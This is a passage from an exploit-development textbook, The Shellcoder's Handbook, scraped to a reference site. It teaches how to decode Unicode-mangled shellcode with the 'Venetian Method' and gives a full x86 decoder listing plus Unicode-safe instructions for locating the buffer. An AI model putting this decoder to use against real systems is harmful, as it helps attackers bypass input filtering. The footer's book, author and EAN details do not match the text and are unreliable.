Decoder and Decoding

Now that we've created our Roman Exploit Writer implementation, we need to write out a good exploit. Exploits can be large, however, so using the previous technique may prove unfeasible because we simply may not have enough room. The best solution would be to use our exploit writer to create a small decoder that takes our full real exploit in Unicode form and converts it back to non-Unicode form ”our own WideCharToMultiByte() function. This method will greatly save on space.

We'll use the Venetian Method to create our own WideCharToMultiByte() code and then tack our real exploit code onto the end of it. Here's how the decoder will work. Assume the real arbitrary code we wish to execute is

 \x41\x42\x43\x44\x45\x46\x47\x48 

When exploiting the vulnerability this is converted to the unicode string:

 \x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00 

If, however, we send

 \x41\x43\x45\x47\x48\x46\x44\x42 

It will become

 \x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 

We then write our WideCharToMultiByte() decoder to take the \x42 at the end and place it after the \x41 . Then it will copy the \x44 after the \x43 and so on, until complete.

 \x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 

Move the \x42 .

 \x41\x42\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 

Move the \x44 .

 \x41\x42\x43\x44\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 

Move the \x46.

 \x41\x42\x43\x44\x45\x46\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 

Move the \x48.

 \x41\x42\x43\x44\x45\x46\x47\x48\x48\x00\x46\x00\x44\x00\x42\x00 

Thus, we have decoded the Unicode string to give us the real arbitrary code we wish to execute.

The Decoder Code

The decoder should be written as a self-contained module, thus making it plug-and-play. The only assumption this decoder makes is that upon entry, the EDI register will contain the address of the first instruction that will execute ”in this case 0x004010B4 . The length of the decoder, 0x23 bytes, is then added to EDI so that EDI now points to just past the jne here instruction. This is where the Unicode string to decode will begin.

 004010B4 83 C7 23             add         edi,23h 004010B7 33 C0                xor         eax,eax 004010B9 33 C9                xor         ecx,ecx 004010BB F7 D1                not         ecx 004010BD F2 66 AF             repne scas  word ptr [edi] 004010C0 F7 D1                not         ecx 004010C2 D1 E1                shl         ecx,1 004010C4 2B F9                sub         edi,ecx 004010C6 83 E9 04             sub         ecx,4 004010C9 47                   inc         edi here: 004010CA 49                   dec         ecx 004010CB 8A 14 0F             mov         dl,dword ptr [edi+ecx] 004010CE 88 17                mov         byte ptr [edi],dl 004010D0 47                   inc         edi 004010D1 47                   inc         edi 004010D2 49                   dec         ecx 004010D3 49                   dec         ecx 004010D4 49                   dec         ecx 004010D5 75 F3                jne         here (004010ca) 

Before decoding the Unicode string, the decoder needs to know the length of the string to decode. If this code is to be plug-and-play capable, then this string can have an arbitrary length. To get the length of the string, the code scans the string looking for two null bytes; remember that two null bytes terminate a Unicode string. When the decoder loop starts, at the label marked here , ECX contains the length of the string, and EDI points to the beginning of the string. EDI is then incremented by 1 to point to the first null byte, and ECX is decremented by 1. Now, when ECX is added to EDI , it points to the last non-null byte character of the string. This non-null byte is then moved temporarily into DL and then moved into the null byte pointed to by EDI . EDI is incremented by 2, and ECX decremented by 4, and the loop continues.

When EDI points to the middle of the string, ECX is 0, and all the non-null bytes at the end of the Unicode string have been shifted to the beginning of the string, replacing the null bytes, and we have a contiguous block of code. When the loop finishes, execution continues at the beginning of the freshly decoded exploit, which has been decoded up to immediately after the jne here instruction.

Before actually writing the code of the Roman Exploit Writer, we have one more thing to do. We need a pointer to our buffer where the decoder will be written. Once the decoder has been written, this pointer then needs to be adjusted to point to the buffer with which the decoder will work.

Getting a Fix on the Buffer Address

Returning to the point at which we've just gained control of the vulnerable process, before we do anything further, we need to get a reference to the user -supplied buffer. The code we'll use when employing the Venetian Method uses the ECX register, so we'll need to set ECX to point to our buffer. Two methods are available, depending on whether a register points to the buffer. Assuming at least one register does contain a pointer to our buffer (for example, the EAX register), we'd push it onto the stack then pop it off into the ECX .

 push eax pop ecx 

If, however, no register points to the buffer, then we can use the following technique, provided we know where our buffer is exactly in memory. More often than not, we'll have overwritten the saved return address with a fixed location; e.g., 0x00410041 , so we'll have this information.

 push 0 pop eax inc eax push eax push esp pop eax imul eax,dword ptr[eax],0x00410041 

This pushes 0x00000000 onto the stack, which is then popped into EAX . EAX is now . We then increment EAX by 1 and push it onto the stack. With 0x00000001 on top of the stack, we then push the address of the top of the stack onto the stack. We then pop this into EAX; EAX now points to the 1 . We multiply this 1 with the address of our buffer, essentially moving the address of our buffer into EAX . It's a bit of a run-around, but we can't just, mov eax, 0x00410041 , because the machine code behind this is not in Unicode format.

Once we have our address in EAX , we push it onto the stack and pop it into ECX .

 push eax pop ecx 

We then need to adjust it. We'll leave writing the decoder writer as an exercise for the readers. This section provides all the relevant information required for this task.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net